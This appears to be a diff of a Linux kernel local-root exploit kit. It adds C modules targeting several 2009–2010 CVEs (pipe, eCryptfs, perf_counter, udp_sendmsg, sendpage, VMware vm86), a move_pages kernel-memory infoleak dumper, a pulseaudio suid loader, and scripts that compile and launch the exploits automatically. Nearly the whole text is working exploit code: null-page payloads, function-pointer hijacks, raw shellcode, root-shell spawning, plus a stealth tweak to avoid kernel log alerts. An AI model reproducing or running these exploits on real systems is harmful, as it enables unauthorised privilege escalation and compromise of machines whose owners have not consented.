#include <sys/syscall.h>
#include <sys/utsname.h>
#include "exp_framework.h"
int pipefd[2];
struct exploit_state *exp_state;
int is_old_kernel = 0;
int go_go_speed_racer(void *unused)
{
int ret;
while(!exp_state->got_ring0) {
/* bust spinlock */
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
ret = pipe(pipefd);
if (!ret) {
close(pipefd[0]);
close(pipefd[1]);
}
}
return 0;
}
/* <3 twiz/sgrakkyu */
int start_thread(int (*f)(void *), void *arg)
{
char *stack = malloc(0x4000);
int tid = clone(f, stack + 0x4000 - sizeof(unsigned long), CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);
if (tid < 0) {
printf("can't create thread\n");
exit(1);
}
sleep(1);
return tid;
}
char *desc = "MooseCox: Linux <= 2.6.31.5 pipe local root";
char *cve = "CVE-2009-3547";
#define PIPE_BUFFERS 16
/* this changes on older kernels, but it doesn't matter to our method */
struct pipe_buf_operations {
int can_merge;
void *map;
void *unmap;
void *confirm;
void *release;
void *steal;
void *get;
};
struct pipe_buffer2620ornewer {
void *page;
unsigned int offset, len;
void *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buffer2619orolder {
void *page;
unsigned int offset, len;
void *ops;
unsigned int flags;
};
struct pipe_buffer2616orolder {
void *page;
unsigned int offset, len;
void *ops;
};
struct pipe_inode_info2620ornewer {
unsigned int spinlock;
/*
// LOCKBREAK
unsigned int break_lock;
// DEBUG_SPINLOCK
unsigned int magic, owner_cpu;
void *owner;
*/
void *next, *prev;
unsigned int nrbufs, curbuf;
void *tmp_page;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
void *fasync_readers;
void *fasync_writers;
void *inode;
struct pipe_buffer2620ornewer bufs[PIPE_BUFFERS];
};
struct pipe_inode_info2619orolder {
unsigned int spinlock;
/*
// if PREEMPT enabled
unsigned int break_lock;
// DEBUG_SPINLOCK
unsigned int magic, owner_cpu;
void *owner;
*/
void *next, *prev;
unsigned int nrbufs, curbuf;
struct pipe_buffer2619orolder bufs[PIPE_BUFFERS];
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
void *fasync_readers;
void *fasync_writers;
void *inode;
};
struct pipe_inode_info2616orolder {
unsigned int spinlock;
/*
// if PREEMPT enabled
unsigned int break_lock;
// DEBUG_SPINLOCK
unsigned int magic, owner_cpu;
*/
void *owner;
void *next, *prev;
unsigned int nrbufs, curbuf;
struct pipe_buffer2616orolder bufs[PIPE_BUFFERS];
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
void *fasync_readers;
void *fasync_writers;
};
struct fasync_struct {
int magic;
int fa_fd;
struct fasync_struct *fa_next;
void *file;
};
struct pipe_inode_info2610orolder {
/* this includes 2.4 kernels */
unsigned long lock; // can be rw or spin
void *next, *prev;
char *base;
unsigned int len;
unsigned int start;
unsigned int readers;
unsigned int writers;
/* 2.4 only */
unsigned int waiting_readers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
/* 2.6 only */
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
};
int prepare(unsigned char *buf)
{
struct pipe_inode_info2610orolder *info_oldest = (struct pipe_inode_info2610orolder *)buf;
struct pipe_inode_info2616orolder *info_older = (struct pipe_inode_info2616orolder *)buf;
struct pipe_inode_info2619orolder *info_old = (struct pipe_inode_info2619orolder *)buf;
struct pipe_inode_info2620ornewer *info_new = (struct pipe_inode_info2620ornewer *)buf;
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)0x800;
int i;
int newver;
struct utsname unm;
i = uname(&unm);
if (i != 0) {
printf("unable to get kernel version\n");
exit(1);
}
if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '2' && unm.release[5] >= '0' && unm.release[5] <= '9') {
fprintf(stdout, " [+] Using newer pipe_inode_info layout\n");
newver = 3;
} else if (strlen(unm.release) >= 6 && unm.release[2] == '6' && unm.release[4] >= '1' && unm.release[5] >= '7' && unm.release[5] <= '9') {
fprintf(stdout, " [+] Using older pipe_inode_info layout\n");
newver = 2;
} else if (strlen(unm.release) >= 5 && unm.release[2] == '6') {
fprintf(stdout, " [+] Using older-er pipe_inode_info layout\n");
newver = 1;
// } else if (strlen(unm.release) >= 5 && unm.release[2] >= '4') {
// is_old_kernel = 1;
// newver = 0;
} else {
fprintf(stdout, " [+] This kernel is still vulnerable, but I can't be bothered to write the exploit. Write it yourself.\n");
exit(1);
}
/* for most of these what will happen is our write will
cause ops->confirm(/pin) to be called, which we've replaced
with own_the_kernel
for the 2.6.10->2.6.16 case it has no confirm/pin op, so what gets
called instead (repeatedly) is the release op
*/
if (newver == 3) {
/* uncomment for DEBUG_SPINLOCK */
//info_new->magic = 0xdead4ead;
/* makes list_head empty for wake_up_common */
info_new->next = &info_new->next;
info_new->readers = 1;
info_new->writers = 1;
info_new->nrbufs = 1;
info_new->curbuf = 1;
for (i = 0; i < PIPE_BUFFERS; i++)
info_new->bufs[i].ops = (void *)ops;
} else if (newver == 2) {
/* uncomment for DEBUG_SPINLOCK */
//info_old->magic = 0xdead4ead;
/* makes list_head empty for wake_up_common */
info_old->next = &info_old->next;
info_old->readers = 1;
info_old->writers = 1;
info_old->nrbufs = 1;
info_old->curbuf = 1;
for (i = 0; i < PIPE_BUFFERS; i++)
info_old->bufs[i].ops = (void *)ops;
} else if (newver == 1) {
/* uncomment for DEBUG_SPINLOCK */
//info_older->magic = 0xdead4ead;
/* makes list_head empty for wake_up_common */
info_older->next = &info_older->next;
info_older->readers = 1;
info_older->writers = 1;
info_older->nrbufs = 1;
info_older->curbuf = 1;
/* we'll get called multiple times from free_pipe_info
but it's ok because own_the_kernel handles this case
*/
for (i = 0; i < PIPE_BUFFERS; i++)
info_older->bufs[i].ops = (void *)ops;
} else {
/*
different ballgame here, instead of being able to
provide a function pointer in the ops table, you
control a base address used to compute the address for
a copy into the kernel via copy_from_user. The
following should get you started.
*/
/* lookup symbol for writable fptr then trigger it later
change the main write in the one thread to write out
pointers with the value of exp_state->exploit_kernel
*/
info_oldest->base = (char *)0xc8000000;
info_oldest->readers = 1;
info_oldest->writers = 1;
return 0;
}
ops->can_merge = 1;
for (i = 0; i < 16; i++)
((void **)&ops->map)[i] = exp_state->own_the_kernel;
return 0;
}
int requires_null_page = 1;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int trigger(void)
{
char buf[128];
int fd;
int i = 0;
/* ignore sigpipe so we don't bail out early */
signal(SIGPIPE, SIG_IGN);
start_thread(go_go_speed_racer, NULL);
fprintf(stdout, " [+] We'll let this go for a while if needed...\n");
fflush(stdout);
while (!exp_state->got_ring0 && i < 10000000) {
fd = pipefd[1];
sprintf(buf, "/proc/self/fd/%d", fd);
fd = open(buf, O_WRONLY | O_NONBLOCK);
if (fd >= 0) {
/* bust spinlock */
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
write(fd, ".", 1);
close(fd);
}
i++;
}
if (!exp_state->got_ring0) {
fprintf(stdout, " [+] Failed to trigger the vulnerability. Is this a single processor machine with CONFIG_PREEMPT_NONE=y?\n");
return 0;
}
return 1;
}
int post(void)
{
// return RUN_ROOTSHELL;
return FUNNY_PIC_AND_ROOTSHELL;
}

85
exp_paokara.c Normal file
View File

@ -0,0 +1,85 @@
/* CVE-2009-2908
Integrated into enlightenment upon Fotis Loukos' request
Also ported to x64
Original x86 exploit was written by Fotis Loukos:
http://fotis.loukos.me/security/exploits/paokara.c
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define __USE_GNU
#include <fcntl.h>
#include <sys/types.h>
#include "exp_framework.h"
struct exploit_state *exp_state;
struct myinodeops {
void *dontcare[17];
void *getxattr;
};
char *desc = "Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root";
char *cve = "CVE-2009-2908";
int prepare(unsigned char *buf)
{
/* this gets placed at 0x1 because we overwrite the i_op with 0x1
in our loop that sets the mutex count properly
*/
struct myinodeops *ops = (struct myinodeops *)(buf + 1);
unsigned long *lbuf = (unsigned long *)buf;
int i;
/* make sure mutex count is 1, handle any configuration
*/
for (i = 0; i < 200; i++)
lbuf[i] = 1;
ops->getxattr = exp_state->own_the_kernel;
return 0;
}
int requires_null_page = 1;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int trigger(void)
{
char buf1[4096];
char buf2[4096];
int fd;
char *path = getenv("XPL_PATH");
if (path == NULL) {
fprintf(stdout, " [+] XPL_PATH environment variable not set. Defaulting to current directory.\n");
path = ".";
}
snprintf(buf1, sizeof(buf1), "%s/lala", path);
snprintf(buf2, sizeof(buf2), "%s/koko", path);
if (open(buf1, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600) < 0) {
fprintf(stdout, "Failed to create %s\n", buf1);
return 0;
}
link(buf1, buf2);
unlink(buf1);
if ((fd = open(buf2, O_RDWR | O_CREAT | O_NOFOLLOW, 0600)) < 0) {
fprintf(stdout, "Failed to create %s\n", buf2);
return 0;
}
unlink(buf2);
write(fd, "kot!", 4);
return 1;
}
int post(void)
{
return RUN_ROOTSHELL;
}

63
exp_powerglove.c Normal file
View File

@ -0,0 +1,63 @@
/* powerglove */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include "exp_framework.h"
#undef __NR_perf_counter_open
#ifdef __x86_64__
#define __NR_perf_counter_open 298
#else
#define __NR_perf_counter_open 336
#endif
struct perf_counter_attr {
unsigned int type;
unsigned int size;
};
struct exploit_state *exp_state;
char *desc = "Powerglove: Linux 2.6.31 perf_counter local root";
char *cve = "CVE-2009-3234";
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int requires_null_page = 1;
int prepare(unsigned char *ptr)
{
return EXIT_KERNEL_TO_NULL;
}
int trigger(void)
{
struct perf_counter_attr *ctr;
ctr = (struct perf_counter_attr *)calloc(1, 0x1000);
if (ctr == NULL) {
fprintf(stdout, "bleh\n");
exit(1);
}
#ifdef __x86_64__
ctr->size = 0xd0;
#else
ctr->size = 0x60;
#endif
syscall(__NR_perf_counter_open, ctr, getpid(), 0, 0, 0UL);
return 0;
}
int post(void)
{
return RUN_ROOTSHELL;
}

326
exp_sieve.c Normal file
View File

@ -0,0 +1,326 @@
/* sieve (because the Linux kernel leaks like one, get it?)
Bug NOT discovered by Marcus Meissner of SuSE security
This bug was discovered by Ramon de Carvalho Valle in September of 2009
The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS
for the bug (but had forgotten about it until now)
Ramon's report was sent to Novell's internal bugzilla, upon which
some months later Marcus took credit for discovering someone else's bug
Maybe he thought he could get away with it ;) Almost ;)
greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle!
first exploit of 2010, next one will be for a bugclass that has
afaik never been exploited on Linux before
note that this bug can also cause a DoS like so:
Unable to handle kernel paging request at ffffffff833c3be8 RIP:
[<ffffffff800dc8ac>] new_page_node+0x31/0x48
PGD 203067 PUD 205063 PMD 0
Oops: 0000 [1] SMP
Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1
RIP: 0010:[<ffffffff800dc8ac>] [<ffffffff800dc8ac>]
new_page_node+0x31/0x48
RSP: 0018:ffff8100a3c6de50 EFLAGS: 00010246
RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013
RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2
RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c
R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018
R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28
FS: 00002b8481125810(0000) GS:ffffffff803c0000(0000)
knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0
Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task
ffff81009d8c4080)
Stack: ffffffff800dd008 ffffc20000077000 ffffffff800dc87b
0000000000000000
0000000000000000 0000000000000003 ffff810092c23800 0000000000000003
00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000
Call Trace:
[<ffffffff800dd008>] migrate_pages+0x8d/0x42b
[<ffffffff800dc87b>] new_page_node+0x0/0x48
[<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8
[<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d
[<ffffffff8005d28d>] tracesys+0xd5/0xe0
Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff
RIP [<ffffffff800dc8ac>] new_page_node+0x31/0x48
RSP <ffff8100a3c6de50>
CR2: ffffffff833c3be8
*/
#include <stdio.h>
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <errno.h>
#include "exp_framework.h"
#undef MPOL_MF_MOVE
#define MPOL_MF_MOVE (1 << 1)
int max_numnodes;
unsigned long node_online_map;
unsigned long node_states;
unsigned long our_base;
unsigned long totalhigh_pages;
#undef __NR_move_pages
#ifdef __x86_64__
#define __NR_move_pages 279
#else
#define __NR_move_pages 317
#endif
/* random notes I took when writing this (all applying to the 64bit case):
checking in a bitmap based on node_states[2] or node_states[3]
(former if HIGHMEM is not present, latter if it is)
each node_state is of type nodemask_t, which is is a bitmap of size
MAX_NUMNODES/8
RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size
so the effective base we're working with is either node_states + 16 or
node_states + 24
on 2.6.18 it's based off node_online_map
node_isset does a test_bit based on this base
so our specfic case does: base[ourval / 8] & (1 << (ourval & 7))
all the calculations appear to be signed, so we can both index in the
negative and positive direction, based on ourval
on 64bit, this gives us a 256MB range above and below our base to grab
memory of
(by passing in a single page and a single node for each bit we want to
leak the value of, we can reconstruct entire bytes)
we can determine MAX_NUMNODES by looking up two adjacent numa bitmaps,
subtracting their difference, and multiplying by 8
but we don't need to do this
*/
struct exploit_state *exp_state;
char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak";
char *cve = "CVE-2010-0415";
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int requires_null_page = 0;
int requires_symbols_to_trigger = 1;
void addr_to_nodes(unsigned long addr, int *nodes)
{
int i;
int min = 0x80000000 / 8;
int max = 0x7fffffff / 8;
if ((addr < (our_base - min)) ||
(addr > (our_base + max))) {
fprintf(stdout, "Error: Unable to dump address %p\n", addr);
exit(1);
}
for (i = 0; i < 8; i++) {
nodes[i] = ((int)(addr - our_base) << 3) | i;
}
return;
}
char *buf;
unsigned char get_byte_at_addr(unsigned long addr)
{
int nodes[8];
int node;
int status;
int i;
int ret;
unsigned char tmp = 0;
addr_to_nodes(addr, (int *)&nodes);
for (i = 0; i < 8; i++) {
node = nodes[i];
ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
if (errno == ENOSYS) {
fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
exit(1);
} else if (errno != ENODEV)
tmp |= (1 << i);
}
return tmp;
}
void menu(void)
{
fprintf(stdout, "Enter your choice:\n"
" [0] Dump via symbol/address with length\n"
" [1] Dump entire range to file\n"
" [2] Quit\n");
}
int trigger(void)
{
unsigned long addr;
unsigned long addr2;
unsigned char thebyte;
unsigned char choice = 0;
char ibuf[1024];
char *p;
FILE *f;
// get lingering \n
getchar();
while (choice != '2') {
menu();
fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
choice = ibuf[0];
switch (choice) {
case '0':
fprintf(stdout, "Enter the symbol or address for the base:\n");
fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
p = strrchr((char *)&ibuf, '\n');
if (p)
*p = '\0';
addr = exp_state->get_kernel_sym(ibuf);
if (addr == 0) {
addr = strtoul(ibuf, NULL, 16);
}
if (addr == 0) {
fprintf(stdout, "Invalid symbol or address.\n");
break;
}
addr2 = 0;
while (addr2 == 0) {
fprintf(stdout, "Enter the length of bytes to read in hex:\n");
fscanf(stdin, "%x", &addr2);
// get lingering \n
getchar();
}
addr2 += addr;
fprintf(stdout, "Leaked bytes:\n");
while (addr < addr2) {
thebyte = get_byte_at_addr(addr);
printf("%02x ", thebyte);
addr++;
}
printf("\n");
break;
case '1':
addr = our_base - 0x10000000;
#ifdef __x86_64__
/*
our lower bound will cause us to access
bad addresses and cause an oops
*/
if (addr < 0xffffffff80000000)
addr = 0xffffffff80000000;
#else
if (addr < 0x80000000)
addr = 0x80000000;
else if (addr < 0xc0000000)
addr = 0xc0000000;
#endif
addr2 = our_base + 0x10000000;
f = fopen("./kernel.bin", "w");
if (f == NULL) {
fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n");
exit(1);
}
fprintf(stdout, "Dumping to kernel.bin (this will take a while): ");
fflush(stdout);
while (addr < addr2) {
thebyte = get_byte_at_addr(addr);
fputc(thebyte, f);
if (!(addr % (128 * 1024))) {
fprintf(stdout, ".");
fflush(stdout);
}
addr++;
}
fprintf(stdout, "done.\n");
fclose(f);
break;
case '2':
break;
}
}
return 0;
}
int prepare(unsigned char *ptr)
{
int node;
int found_gap = 0;
int i;
int ret;
int status;
totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages");
node_states = exp_state->get_kernel_sym("node_states");
node_online_map = exp_state->get_kernel_sym("node_online_map");
buf = malloc(4096);
/* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted
towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table,
which will be set for our single node -- this gives us the size of the bitmap
*/
for (i = 0; i < 512; i++) {
node = i;
ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
if (errno == ENOSYS) {
fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
exit(1);
} else if (errno == ENODEV) {
found_gap = 1;
} else if (found_gap == 1) {
max_numnodes = i;
fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes);
break;
}
}
if (node_online_map != 0)
our_base = node_online_map;
/* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size
of each bitmap in the array our base is in the middle of
we've taken account for all this
*/
else if (node_states != 0)
our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8)));
else {
fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n");
exit(1);
}
return 0;
}
int post(void)
{
return 0;
}

84
exp_therebel.c Normal file
View File

@ -0,0 +1,84 @@
/* the rebel */
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include "exp_framework.h"
struct dst_entry {
void *next;
int refcnt;
int use;
void *child;
void *dev;
short error;
short obsolete;
int flags;
unsigned long lastuse;
unsigned long expires;
unsigned short header_len;
unsigned short trailer_len;
unsigned int metrics[13];
/* need to have this here and empty to avoid problems with
dst.path being used by dst_mtu */
void *path;
unsigned long rate_last;
unsigned long rate_tokens;
/* things change from version to version past here, so let's do this: */
void *own_the_kernel[8];
};
struct exploit_state *exp_state;
char *desc = "The Rebel: Linux < 2.6.19 udp_sendmsg() local root";
char *cve = "CVE-2009-2698";
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int requires_null_page = 1;
int prepare(unsigned char *ptr)
{
struct dst_entry *mem = (struct dst_entry *)ptr;
int i;
/* for stealthiness based on reversing, makes sure that frag_off
is set in skb so that a printk isn't issued alerting to the
exploit in the ip_select_ident path
*/
mem->metrics[1] = 0xfff0;
/* the actual "output" function pointer called by dst_output */
for (i = 0; i < 10; i++)
mem->own_the_kernel[i] = exp_state->own_the_kernel;
return 0;
}
int trigger(void)
{
struct sockaddr sock = {
.sa_family = AF_UNSPEC,
.sa_data = "CamusIsAwesome",
};
char buf[1024] = {0};
int fd;
fd = socket(PF_INET, SOCK_DGRAM, 0);
if (fd < 0) {
fprintf(stdout, "failed to create socket\n");
return 0;
}
sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock));
sendto(fd, buf, 1024, 0, &sock, sizeof(sock));
return 1;
}
int post(void)
{
return RUN_ROOTSHELL;
}

94
exp_vmware.c Normal file
View File

@ -0,0 +1,94 @@
/* all credits to Tavis Ormandy/Julien Tinnes
I (being Ingo Molnar, of course) simply replaced the ring0 XSS
with more suitable shellcode
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <sys/types.h>
#include "exp_framework.h"
struct exploit_state *exp_state;
char *desc = "CVE-2009-2267: VMWare vm86 guest local root";
char *cve = "CVE-2009-2267";
#define REAL_TO_VIRT(cs, ip) ((void *)(((cs) << 4) + ((ip) & 0xffff)))
#define EFLAGS_TF_MASK 0x100
void enter_vm86(void)
{
struct vm86plus_struct vm = {0};
vm.cpu_type = CPU_586;
vm.regs.eflags = EFLAGS_TF_MASK;
vm.regs.esp = 0xdeadc01d;
vm.regs.eip = 0x00000000;
vm.regs.cs = 0x0090;
vm.regs.ss = 0xffff;
memcpy(REAL_TO_VIRT(vm.regs.cs, vm.regs.eip),
"\x9a\xdd\xcc\x00\x00\xbb\xaa", 7);
vm86(VM86_ENTER, &vm);
return;
}
int prepare(unsigned char *buf)
{
char *newbuf;
newbuf = (char *)mremap(buf, PAGE_SIZE, 1024 * 1024, 0);
if (newbuf == MAP_FAILED) {
printf("failed to remap NULL page\n");
exit(1);
}
// mov esp, edi
buf[0] = '\x89';
buf[1] = '\xfc';
// sub esp, 0x50
buf[2] = '\x83';
buf[3] = '\xec';
buf[4] = '\x50';
// call own_the_kernel
buf[5] = '\xff';
buf[6] = '\x15';
*(unsigned int *)&buf[7] = (unsigned int)buf + 17;
// jmp exit_kernel
buf[11] = '\xff';
buf[12] = '\x25';
*(unsigned int *)&buf[13] = (unsigned int)buf + 21;
*(unsigned long *)&buf[17] = (unsigned long)exp_state->own_the_kernel;
*(unsigned long *)&buf[21] = (unsigned long)exp_state->exit_kernel;
return 0;
}
int requires_null_page = 1;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int trigger(void)
{
enter_vm86();
return 1;
}
int post(void)
{
return RUN_ROOTSHELL;
}

89
exp_wunderbar.c Normal file
View File

@ -0,0 +1,89 @@
/* wunderbar */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sendfile.h>
#include "exp_framework.h"
struct exploit_state *exp_state;
#define DOMAINS_STOP -1
#define VIDEO_SIZE 4171600
#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif
#ifndef PX_PROTO_OL2TP
#define PX_PROTO_OL2TP 1
#endif
#ifndef PF_IUCV
#define PF_IUCV 32
#endif
const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 },
{PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 },
{PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 },
{PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 },
{PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP },
{PF_PPPOX, SOCK_DGRAM, 0 },
{PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP },
{DOMAINS_STOP, 0, 0 }
};
char *desc = "Wunderbar Emporium: Linux 2.X sendpage() local root";
char *cve = "CVE-2009-2692";
int prepare(unsigned char *buf)
{
return STRAIGHT_UP_EXECUTION_AT_NULL;
}
int requires_null_page = 1;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int trigger(void)
{
while (exp_state->got_ring0 == 0) {
char template[] = "/tmp/sendfile.XXXXXX";
int d;
int in, out;
// Setup source descriptor
if ((in = mkstemp(template)) < 0) {
fprintf(stdout, "failed to open input descriptor, %m\n");
return 0;
}
unlink(template);
// Find a vulnerable domain
for (d = 0; domains[d][0] != DOMAINS_STOP; d++) {
if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0)
break;
}
if (out < 0) {
fprintf(stdout, "unable to find a vulnerable domain, sorry\n");
return 0;
}
// Truncate input file to some large value
ftruncate(in, getpagesize());
// sendfile() to trigger the bug.
sendfile(out, in, NULL, getpagesize());
}
return 1;
}
int post(void)
{
return RUN_ROOTSHELL;
}

2143
exploit.c Normal file

File diff suppressed because it is too large Load Diff

BIN
funny.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

37
pwnkernel.c Normal file
View File

@ -0,0 +1,37 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/stat.h>
#define PULSEAUDIO_PATH "/usr/bin/pulseaudio"
#define PATH_TO_EXPLOIT "/home/spender/exploit.so"
int main(void)
{
int ret;
struct stat fstat;
ret = personality(PER_SVR4);
if (ret == -1) {
fprintf(stderr, "Unable to set personality!\n");
return 3;
}
fprintf(stdout, " [+] Personality set to: PER_SVR4\n");
if (stat(PULSEAUDIO_PATH, &fstat)) {
fprintf(stderr, "Pulseaudio does not exist!\n");
return 3;
}
if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) {
fprintf(stderr, "Pulseaudio is not suid root!\n");
return 3;
}
execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);
return 3;
}

3
run_nonnull_exploits.sh Executable file
View File

@ -0,0 +1,3 @@
#!/bin/sh
./run_null_exploits.sh nonnull

77
run_null_exploits.sh Executable file
View File

@ -0,0 +1,77 @@
#!/bin/sh
GCC=gcc
IS_64=`uname -m`
LINK_FLAG="-ldl"
OPT_FLAG="-fomit-frame-pointer -O2"
if [ "$IS_64" = "x86_64" ]; then
OPT_FLAG="-m64 -fomit-frame-pointer -O2"
fi
if [ "$1" != "" ]; then
OPT_FLAG="$OPT_FLAG -DNON_NULL_ONLY"
elif [ -d /usr/include/selinux ]; then
OPT_FLAG="$OPT_FLAG -DHAVE_SELINUX -lselinux"
fi
for FILE in exp_*.c; do
printf "Compiling $FILE..."
$GCC -fno-stack-protector -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE $LINK_FLAG 2> /dev/null
if [ "$?" = "1" ]; then
$GCC -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE $LINK_FLAG 2> /dev/null
if [ "$?" = "1" ]; then
printf "failed.\n"
else
printf "OK.\n"
fi
else
printf "OK.\n"
fi
done
ESCAPED_PWD=`pwd | sed 's/\//\\\\\//g'`
MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null`
if [ "$1" != "" -o "$MINADDR" = "" -o "$MINADDR" = "0" ]; then
sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
mv exploit.c exploit2.c
mv exploit1.c exploit.c
$GCC -fno-stack-protector -fno-pie $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
if [ "$?" = "1" ]; then
$GCC -fno-stack-protector $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
fi
if [ "$?" = "1" ]; then
$GCC $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
fi
mv -f exploit2.c exploit.c
./exploit
elif [ ! -f '/selinux/enforce' ]; then
killall -9 pulseaudio 2> /dev/null
sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
mv exploit.c exploit2.c
mv exploit1.c exploit.c
$GCC -fno-stack-protector -fno-pie -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null
if [ "$?" = "1" ]; then
$GCC -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null
fi
if [ "$?" = "1" ]; then
$GCC -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null
fi
mv -f exploit2.c exploit.c
sed "s/\/home\/spender/$ESCAPED_PWD/g" pwnkernel.c > pwnkernel1.c
mv pwnkernel.c pwnkernel2.c
mv pwnkernel1.c pwnkernel.c
$GCC $OPT_FLAG -o pwnkernel pwnkernel.c $LINK_FLAG
mv -f pwnkernel2.c pwnkernel.c
./pwnkernel
else
sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
mv exploit.c exploit2.c
mv exploit1.c exploit.c
$GCC -fno-stack-protector -fno-pie $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
if [ "$?" = "1" ]; then
$GCC -fno-stack-protector $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
fi
if [ "$?" = "1" ]; then
$GCC $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
fi
mv -f exploit2.c exploit.c
./exploit
fi